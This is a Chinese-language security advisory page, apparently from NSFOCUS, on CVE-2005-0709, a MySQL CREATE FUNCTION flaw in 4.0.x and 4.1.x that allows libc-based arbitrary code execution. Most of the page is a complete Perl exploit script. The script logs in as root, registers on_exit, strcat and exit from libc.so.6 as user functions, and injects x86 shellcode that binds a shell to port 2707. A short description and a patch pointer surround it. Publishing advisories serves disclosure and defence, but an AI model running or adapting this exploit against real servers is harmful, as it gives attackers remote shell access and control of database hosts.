首页 -> 安全研究

安全研究

安全漏洞
MySQL CREATE FUNCTION功能libc函数库允许执行任意代码漏洞

发布日期:2005-03-14
更新日期:2005-03-14

受影响系统:
MySQL AB MySQL 4.1.5
MySQL AB MySQL 4.1.4
MySQL AB MySQL 4.1.3-beta
MySQL AB MySQL 4.1.3-0
MySQL AB MySQL 4.1.2-alpha
MySQL AB MySQL 4.1.0-alpha
MySQL AB MySQL 4.1.0-0
MySQL AB MySQL 4.0.9-gamma
MySQL AB MySQL 4.0.9
MySQL AB MySQL 4.0.8-gamma
MySQL AB MySQL 4.0.8
MySQL AB MySQL 4.0.7-gamma
MySQL AB MySQL 4.0.7
MySQL AB MySQL 4.0.6
MySQL AB MySQL 4.0.5a
MySQL AB MySQL 4.0.5
MySQL AB MySQL 4.0.4
MySQL AB MySQL 4.0.3
MySQL AB MySQL 4.0.21
MySQL AB MySQL 4.0.20
MySQL AB MySQL 4.0.2
MySQL AB MySQL 4.0.18
MySQL AB MySQL 4.0.15
MySQL AB MySQL 4.0.14
MySQL AB MySQL 4.0.13
MySQL AB MySQL 4.0.12
MySQL AB MySQL 4.0.11-gamma
MySQL AB MySQL 4.0.11
MySQL AB MySQL 4.0.10
MySQL AB MySQL 4.0.1
MySQL AB MySQL 4.0.0
不受影响系统:
MySQL AB MySQL 4.1.10a
MySQL AB MySQL 4.0.24
描述:
BUGTRAQ  ID: 12781
CVE(CAN) ID: CVE-2005-0709

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

MySQL数据库的CREATE FUNCTION命令用于在MySQL中实现用户自定义函数的管理,MySQL对用户自定义函数的引入和参数使用实现有问题,拥有数据库管理员权限的用户可能利用漏洞在运行MySQL数据库的主机上以MySQL进程的权限执行任意指令。

如果经过认证的用户对MySQL管理数据库'mysql'拥有INSERT和DELETE的权限的话,就可能通过注入畸形的CREATE FUNCTION命令参数,利用libc中的函数获取MySQL进程的执行权限。

<*来源:Stefano Di Paola (stefano@dipaola.wisec.it
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111066115808506&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

["exp3.pl" (exp3.pl)]

#!/usr/bin/perl
##   Mysql CREATE FUNCTION libc arbitrary code execution.
##
##   Author: Stefano Di Paola
##   Vulnerable: Mysql <= 4.0.23, 4.1.10
##   Type of Vulnerability: Local/Remote - input validation
##   Tested On : Mandrake 10.1 /Debian Sarge
##   Vendor Status: Notified on March 2005
##  
##  Copyright 2005 Stefano Di Paola (stefano.dipaola@wisec.it)
##
##
##  Disclaimer:
##   In no event shall the author be liable for any damages
##   whatsoever arising out of or in connection with the use
##   or spread of this information.
##   Any use of this information is at the user's own risk.
##
##  
##  
##  It calls on_exit(address)
##  then overwrites the address with strcat or strcpy
##  and then calls exit
##  
##  Usage:  
##          perl myexp.pl numberofnops offset
##  Example:
##          perl myexp.pl 3 0
################################################

use strict;
use DBI();
use Data::Dumper;
use constant DEBUG => 0;
use constant PASS => "USEYOURPASSHERE";
# Connect to the database.
my $dbh = DBI->connect("DBI:mysql:database=test;host=localhost",
               "root", PASS ,{'RaiseError' => 1});
              
### This is the opcode pointed by the address where on_exit jumps
###
###
### 0x3deb jmp 0x3d
### but needs to be decremented by 2. ("shell",0x0x3de9,0)
##                                       -1            -1 = 0x3de9-2
# resulting in 0x3deb
## 0x3d is the distance from the address on_exit calls and the beginning of
## bind shell "\x6a\x66\x58\x6a\x01....
my $jmp=0x3de9+($ARGV[1]<<8);
printf("Using %x\n",$jmp);
my $zeros="0,"x($jmp);
### Bind_shell... works.....but maybe needs some nop  \x90
### so i use argv[0] to repeat \x90
### It binds a shell to port 2707 (\x0a\x93)
my $shell= ("\x90"x$ARGV[0])."\x6a\x66\x58\x6a\x01".
"\x5b\x99\x52\x53\x6a\x02\x89".
"\xe1\xcd\x80\x52\x43\x68\xff\x02\x0a\x93\x89\xe1".
"\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80".
"\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0".
"\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80".
"\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f".
"\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

########### Bash !!!!!!!!!!!###############
#   my $shell=("\x90"x$ARGV[0])."\x6a\x0b\x58\x99\x52\x68".
#  "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80";
my $onex_create="create function on_exit returns integer soname 'libc.so.6';";
print $onex_create,"\n" if(DEBUG);
my $sth = $dbh->prepare($onex_create);
if (!$sth) {
    print "Error:" . $dbh->errstr . "\n";
}
eval {$sth->execute};
  if($@){
     print "Error:" . $sth->errstr . "\n";
  }


my $strcat_create="create function strcat returns string soname 'libc.so.6';";
print $strcat_create,"\n" if(DEBUG);
my $sth = $dbh->prepare($strcat_create);
if (!$sth) {
    print "Error:" . $dbh->errstr . "\n";
}
eval {$sth->execute};
  if($@){
     print "Error:" . $sth->errstr . "\n";
  }

my $exit_create="create function exit returns integer soname 'libc.so.6';";
print $exit_create,"\n" if(DEBUG);
my $sth = $dbh->prepare($exit_create);
if (!$sth) {
    print "Error:" . $dbh->errstr . "\n";
}
eval {$sth->execute};
  if($@){
     print "Error:" . $sth->errstr . "\n";
  }

my $onex="select    on_exit('".$shell."',".$zeros."0),   strcat(0);";
print "select    on_exit('".$shell."', 0),   strcat(0);";
print $onex,"\n" if(DEBUG);
my $sth = $dbh->prepare($onex);
if (!$sth) {
    print "Error:" . $dbh->errstr . "\n";
}
print "Select on_exit\n";

if (!$sth->execute) {
    print "Error:" . $sth->errstr . "\n";
}
   while (my $ref = $sth->fetchrow_hashref()) {
      print Dumper($ref);
    }


my $strc="select    strcat('".$shell."',".$zeros."0),     exit(0);";
print $strc,"\n" if(DEBUG);
$sth = $dbh->prepare($strc);
if (!$sth) {
    print "Error:" . $dbh->errstr . "\n";
}

if (!$sth->execute) {
    print "Error:" . $sth->errstr . "\n";
}
print "Select exit\n";

建议:
厂商补丁:

MySQL AB
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.mysql.com/

浏览次数:3506
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障